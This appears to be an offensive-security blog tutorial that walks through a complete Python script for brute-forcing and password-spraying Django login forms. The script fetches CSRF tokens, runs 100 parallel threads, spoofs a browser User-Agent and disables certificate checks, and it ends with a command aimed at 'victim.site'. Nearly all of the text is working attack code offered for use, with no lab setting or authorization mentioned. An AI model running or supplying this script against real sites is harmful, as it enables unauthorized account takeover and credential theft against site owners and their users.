Cracking Passwords with Python

Published:

Using Hydra or Patator is great, they are very performant tools but they lack customization. More and more web applications just can't be brute-forced just by making POST requests to an endpoint. Here are some issues you might encounter:

All these issues make it hard to crack passwords and there are less and less websites that fit the traditional pattern. Writing your own brute-force scripts can proove to be a great skill to have in your toolbox.

Let's get started with writing some code. The code is good for bruteforcing Django login forms but if you correctly understand the code, you should be able to customize it according to your specific needs. In this scenario we're dealing with CSRF protection tokens.

Here are some imports and some global variables/settings definitions:

import time
import itertools
import sys
import warnings
import concurrent.futures
import requests
import datetime
import atexit
from bs4 import BeautifulSoup


NUM_WORKERS = 100   # Number of threads
BATCH_SIZE = 100    # How many accounts to generate


accounts = []           # Found accounts
total_checks = 0        # How many tries so far
total_combinations = 0  # How many accounts in total
start_time = None       # Timestamp when we started

We now want to define a function that prints some final stats:

def print_stats():
    """
    Print final stats
    """
    global start_time

    if accounts:
        print("[+] Accounts found: ", accounts)
    else:
        print("[!] No valid credentials found.")

    current_time = time.time()
    elapsed_time = current_time - start_time

    print("[*] Total time (hours): ", str(datetime.timedelta(seconds=elapsed_time)))
    print("[*] Total tries: ", total_checks)

Like we said, we first need to issue a GET request in order to get the CSRF token:

def fetch_csrf_token(url):
    """
    Fetch the form and parse the CSRF Tokens
    :param url: URL of the login form
    :return: {'csrftoken': <CSRF COOKIE TOKEN>, 'csrfmiddlewaretoken': <CSRF FORM TOKEN>}
    """
    csrfmiddlewaretoken = ''
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        response = requests.get(url, verify=False)
        csrfcookietoken = response.cookies['csrftoken']
        bs = BeautifulSoup(response.content, features="html.parser")
        csrf_tag = bs.find("input", {'name': "csrfmiddlewaretoken"})
        try:
            csrfmiddlewaretoken = csrf_tag.attrs['value']
        except ValueError:
            pass
    return {'csrftoken': csrfcookietoken, 'csrfmiddlewaretoken': csrfmiddlewaretoken}

We now need to actually to issue the POST request to check if the username/password combination is valid. Here's how to do that. Notice how we call the previous fetch_csrf_token.

def check_pass(url, user, passwd):
    """
    Issue a request with credentials
    :param url: Where to make the POST request
    :param user: username to try
    :param passwd: password to try
    :return: True/False
    """
    global total_checks
    global start_time

    tokens = fetch_csrf_token(url)

    response = requests.post(url, verify=False, data={
        'username': user,
        'password': passwd,
        'csrfmiddlewaretoken': tokens['csrfmiddlewaretoken']
    }, headers={
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Connection': 'close',
        'Referer': url,
        'Cookie': 'csrftoken=' + tokens['csrftoken'],
        'Upgrade-Insecure-Requests': '1',
    })

    total_checks += 1

    if response.status_code != 200:
        print("[+] Found valid credentials: %s/%s" % (user, passwd))
        accounts.append((user, passwd))
        return True

    return False

Finally let's write a function that calls check_pass, creates the username/password combinations and spawn the threads in order to make the requests in parallel. This is something that you can use for any scenario. This is the fixed part of our algorithm. In order to customize it you need to write different check_pass functions.

def bruteforce_authentication(url, usernames, passwords):
    """
    Spawn threads and try out different username/password combinations
    :param url: Where the login form is located
    :param usernames: iterable of usernames
    :param passwords: iterable of passwords
    """
    global start_time
    start_time = time.time()

    # Keep password fixed and vary the user (password spray)
    pairs = itertools.product(passwords, usernames)

    batch = list(itertools.islice(pairs, BATCH_SIZE))
    while batch:
        with concurrent.futures.ThreadPoolExecutor(max_workers=NUM_WORKERS) as executor:
            # Spawn threads
            futures = {executor.submit(check_pass, url, user, passwd) for passwd, user in batch}
            concurrent.futures.wait(futures)

        current_time = time.time()
        elapsed_time = current_time - start_time
        tries_per_second = total_checks / elapsed_time * 60
        percent_complete = total_checks / total_combinations
        sys.stdout.write("\r[*] Complete: %.4f%%, Speed: %.2f/min, Elapsed: %s, Tries: %s" % (
                percent_complete * 100,
                tries_per_second,
                str(datetime.timedelta(seconds=int(elapsed_time))),
                total_checks))
        sys.stdout.flush()

        batch = list(itertools.islice(pairs, BATCH_SIZE))

And now, here's the code that enables everything to be used as a neat command line script:

if __name__ == "__main__":
    # Print the stats before we exit
    atexit.register(print_stats)

    username_list = [l.strip() for l in open(sys.argv[2], 'r').readlines()]
    password_list = [l.strip() for l in open(sys.argv[3], 'r').readlines()]
    total_combinations = len(username_list) * len(password_list)
    print("[*] %s combinations to try ..." % total_combinations)

    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        bruteforce_authentication(sys.argv[1], username_list, password_list)

Now, if we want to call this script, we can do so in a shell like this:

$ python crack.py http://victim.site users.txt passwords.txt

And this is how it's done. Note that in order to customize this code for your needs, you just need to write a different check_pass function. That's where the authentication logic lies. bruteforce_authentication is responsible just for creating username/password pairs and spawning threads.

Tags: [tag1] [tag2]

Read More:

Attacking SMB ยป